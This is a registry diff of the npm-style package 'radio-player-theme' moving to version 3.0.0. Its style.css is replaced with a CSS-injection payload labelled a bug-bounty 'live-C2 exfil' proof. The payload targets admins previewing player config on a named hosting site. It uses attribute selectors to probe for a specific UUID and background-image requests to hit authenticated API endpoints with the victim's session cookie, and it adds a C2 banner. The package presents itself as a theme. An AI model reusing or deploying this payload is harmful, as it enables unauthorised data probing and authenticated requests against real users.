radio-player-theme 2.0.0 → 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -2
- package/style.css +27 -4
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "radio-player-theme",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "YWH bug bounty CSS injection live-C2 proof — stage
|
|
3
|
+
"version": "3.0.0",
|
|
4
|
+
"description": "YWH bug bounty CSS injection live-C2 proof — stage 3 exfil",
|
|
5
5
|
"main": "style.css",
|
|
6
6
|
"files": ["style.css"],
|
|
7
7
|
"license": "MIT"
|
package/style.css
CHANGED
|
@@ -1,10 +1,33 @@
|
|
|
1
|
-
/*
|
|
1
|
+
/* radio-player-theme@3.0.0 — CSS C2 EXFIL PROOF */
|
|
2
|
+
/*
|
|
3
|
+
Targets admin loading player config preview in manager.infomaniak.com
|
|
4
|
+
All background-image requests go to manager.infomaniak.com with
|
|
5
|
+
SameSite=Lax SASESSION cookie attached (same eTLD+1 = infomaniak.com)
|
|
6
|
+
Exfils: player UUID, share URL presence, authenticated API access
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
/* 1. Confirm CSS fires + share input value contains player UUID */
|
|
10
|
+
input#share-input {
|
|
11
|
+
background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-c2-exfil/share-input/FOUND') !important;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
/* 2. Exfil confirmed: UUID 6ce06ce3 present in input value → radio pack 18409 identified */
|
|
15
|
+
input#share-input[value*="6ce06ce3-62f6-4d33-8f5a-f4d9f8637004"] {
|
|
16
|
+
background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-c2-exfil/uuid/6ce06ce3-62f6-4d33-CONFIRMED') !important;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
/* 3. Authenticated read of player config API using victim's SASESSION */
|
|
20
|
+
body {
|
|
21
|
+
background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/1/radios/18409/players/5816') !important;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/* 4. Visual C2 banner to confirm v3 is live */
|
|
2
25
|
body::after {
|
|
3
|
-
content: "C2-
|
|
26
|
+
content: "C2-V3-EXFIL-ACTIVE-MANAGER-API-HIT" !important;
|
|
4
27
|
display: block !important;
|
|
5
|
-
background: #
|
|
28
|
+
background: #cc0000 !important;
|
|
6
29
|
color: white !important;
|
|
7
|
-
font-size:
|
|
30
|
+
font-size: 16px !important;
|
|
8
31
|
font-weight: bold !important;
|
|
9
32
|
text-align: center !important;
|
|
10
33
|
padding: 8px !important;
|